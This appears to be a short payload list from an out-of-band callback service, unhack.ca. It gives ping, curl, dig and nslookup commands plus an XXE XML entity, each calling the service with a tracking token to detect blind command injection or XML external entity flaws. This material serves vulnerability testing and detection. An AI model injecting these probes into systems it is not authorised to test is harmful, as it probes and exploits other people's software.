$ ping -c1 -p 00997342b28eaffd6a458751fa22d300 unhack.ca
 

$ curl http://unhack.ca/p/997342b28eaffd6a458751fa22d3
 

$ dig 997342b28eaffd6a458751fa22d3 @unhack.ca
 

$ dig 997342b28eaffd6a458751fa22d3.ns.unhack.ca
 

C:\> nslookup 997342b28eaffd6a458751fa22d3 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/997342b28eaffd6a458751fa22d3">]>
    <foo>&xxe;</foo>